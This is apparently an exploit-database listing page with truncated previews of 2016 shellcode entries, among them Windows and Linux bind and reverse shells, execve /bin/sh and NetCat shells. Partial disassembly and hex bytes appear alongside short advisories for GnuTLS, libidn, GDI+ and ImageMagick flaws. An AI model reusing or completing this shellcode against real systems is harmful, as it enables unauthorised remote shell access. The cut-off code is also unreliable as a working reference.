Windows x86 - Password Protected TCP Bind Shell (637 bytes)

Windows x86 - Password Protected TCP Bind Shell 637 bytes. Shellcode exploit for Winx86 platform / Title : Windows x86 password protected bind shell tcp shellcode Date : 12-09-2016 Author : Roziul Hasan Khan Shifat size : 637 bytes Tested On : Windows 7 ultimate x86 x64 Email : [email protected]...

PT-2016-7335

Name of the Vulnerable Software and Affected Versions GnuTLS versions prior to 3.4.15 GnuTLS versions 3.5.x prior to 3.5.4 Description The issue concerns the gnutls ocsp resp check crt function, which does not verify the serial length of an OCSP response. This could potentially allow remote...

DEBIAN-CVE-2016-6261

The idnatoascii4i function in lib/idna.c in libidn before 1.33 allows context-dependent attackers to cause a denial of service out-of-bounds read and crash via 64 bytes of input...

Microsoft Windows - GDI+ EMR_EXTTEXTOUTA EMR_POLYTEXTOUTA Heap Buffer Overflow (MS16-097)

Microsoft Windows - GDI+ EMREXTTEXTOUTA EMRPOLYTEXTOUTA Heap Buffer Overflow MS16-097 Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=828 The Microsoft GDI+ implementation of the EMF format supports records corresponding to the ExtTextOutA and PolyTextOutA API functions. Both...

Windows/x86 - MessageBoxA Shellcode (242 bytes)

/ Title : Windows x86 MessageBoxA shellcode Author : Roziul Hasan Khan Shifat Date : 14-08-2016 Tested On : Windows 7 starter x86 / / Disassembly of section .text: 00000000 : 0: 31 c9 xor %ecx,%ecx 2: 64 8b 41 30 mov %fs:0x30%ecx,%eax 6: 8b 40 0c mov 0xc%eax,%eax 9: 8b 70 14 mov 0x14%eax,%esi c: ...

Windows/x86 - CreateProcessA cmd.exe Shellcode (253 bytes)

/ Title : Windows x86 CreateProcessANULL,"cmd.exe",NULL,NULL,0,NULL,NULL,NULL,&STARTUPINFO,&PROCESSINFORMATION shellcode Author : Roziul Hasan Khan Shifat Date : 15-08-2016 Tested On : Windows 7 x86 / / Disassembly of section .text: 00000000 : 0: 31 c9 xor %ecx,%ecx 2: 64 8b 41 30 mov...

Linux/x86 - zsh Reverse TCP Shellcode port 9090 (80 bytes)

Linux/x86 - zsh Reverse TCP Shellcode port 9090 80 bytes. Shellcode exploit for Linx86 platform...

Linux/x86 - zsh TCP Bind Shell Port 9090 (96 bytes)

Linux/x86 - zsh TCP Bind Shell Port 9090 96 bytes. Shellcode exploit for Linx86 platform...

Linux/x86 - zsh TCP Bind Shell Port 9090 (96 bytes)

/ ; ; Linux x86 ; Author: thryb ; Date: 13-07-16 ; Purpose: Bind /bin/zsh to TCP port 9090 ; Size: 96 bytes ; ID: SLAE-770 ; Git: https://www.github.com/thryb/SLAE-770 ; global start section .text start: xor eax, eax ; cleaning registers for sanity xor ebx, ebx xor edx, edx xor edi, edi ; 1 -...

Linux/x86 - zsh Reverse TCP Shellcode port 9090 (80 bytes)

/ ; ; Linux x86 ; Author: thryb ; Date: 21-07-16 ; Purpose: Reverse /bin/zsh to TCP port 9090 ; Size: 80 bytes ; ID: SLAE-770 ; Git: https://www.github.com/thryb/SLAE-770 ; global start section .text start: xor eax, eax ; cleaning registers xor ebx, ebx ; 1 - create socket ; socketAFINET,...

Linux/x86 - NetCat Bind Shell with Port (44, 52 bytes)

Linux/x86 - NetCat Bind Shell with Port 44, 52 bytes. Shellcode exploit for Linx86 platform...

Linux/x86 - execve /bin/sh Shellcode (19 bytes)

/ Linux/x86 - execve /bin/sh shellcode 19 bytes Author: sajith Tested on: i686 GNU/Linux Shellcode Length: 19 SLAE - 750 Disassembly of section .text: 08048060 : 8048060: 31 c0 xor eax,eax 8048062: 50 push eax 8048063: 68 2f 2f 73 68 push 0x68732f2f 8048068: 68 2f 62 69 6e push 0x6e69622f 804806d...

Linux/CRISv32 - Axis Communication Connect Back Shellcode (189 bytes)

Linux/CRISv32 - Axis Communication Connect Back Shellcode. Shellcode exploit for Linx86 platform / Title: Axis Communication Linux/CRISv32 - Connect Back Shellcode Author: bashis / 2016 / include char sc = //close0 "\x7a\x86" // clear.d r10 "\x5f\x9c\x06\x00" // movu.w 0x6,r9 "\x3d\xe9" // break ...

Linux/x86 - execve /bin/sh Shellcode (19 bytes)

Linux/x86 - execve /bin/sh Shellcode 19 bytes. Shellcode exploit for Linx86 platform / Linux/x86 - execve /bin/sh shellcode 19 bytes Author: sajith Tested on: i686 GNU/Linux Shellcode Length: 19 SLAE - 750 Disassembly of section .text: 08048060 : 8048060: 31 c0 xor eax,eax 8048062: 50 push eax...

Linux x86 TCP Reverse Shellcode - 75 bytes

Linux x86 TCP Reverse Shellcode - 75 bytes. Shellcode exploit for linx86 platform / Linux x86 TCP Reverse Shellcode 75 bytes Author: sajith Tested on: i686 GNU/Linux Shellcode Length: 75 SLAE - 750 ------------c prog ---poc by sajith shetty---------- include include include include int mainvoid i...

Linux/x86 - TCP Reverse Shellcode (75 bytes)

/ Linux x86 TCP Reverse Shellcode 75 bytes Author: sajith Tested on: i686 GNU/Linux Shellcode Length: 75 SLAE - 750 ------------c prog ---poc by sajith shetty---------- include include include include int mainvoid int sockfiledes; struct sockaddrin sockad; //1 create socket connection //Man page:...

Linux/x86-64 - Ncat Shellcode (SSL, MultiChannel, Persistant, Fork, IPv4/6, Password) (176 bytes)

include include // Exploit Title: Linux 64bit Ncat + SSL + MultiChannel + Persistant + Fork + IPv4/6 + Password 176byte // Date: 7/5/2016 // Exploit Author: CripSlick // Tested on: Kali 2.0 // Version: Ncat: Version 7.01 // email protected // OffSec ID: OS-20614 // http://50.112.22.183/...

Linux/x86-64 - NetCat Bind Shell Shellcode (64 bytes)

include include // Exploit Title: NetCat Bind Shell 64bit 64byte // Date: 6/28/2016 // Exploit Author: CripSlick // Tested on: Kali 2.0 // Version: v1.10-41 // email protected // OffSec ID: OS-20614 // Victim: netstat -an | grep LISTEN | grep tcp // Attacker: nc unsigned char code = \ define PORT...

Linux 64bit NetCat Bind Shell Shellcode - 64 bytes

Linux 64bit NetCat Bind Shell Shellcode - 64 bytes. Shellcode exploit for linx86-64 platform include include // Exploit Title: NetCat Bind Shell 64bit 64byte // Date: 6/28/2016 // Exploit Author: CripSlick // Tested on: Kali 2.0 // Version: v1.10-41 // [email protected] // OffSec ID:...

ImageMagick integer overflow vulnerability (CNVD-2016-04386)

ImageMagick is a set of open-source image processing software from the U.S. company ImageMagick Studio. The software can read, convert and write pictures in a variety of formats. An integer overflow vulnerability exists in ImageMagick. An attacker can exploit this vulnerability to execute arbitra...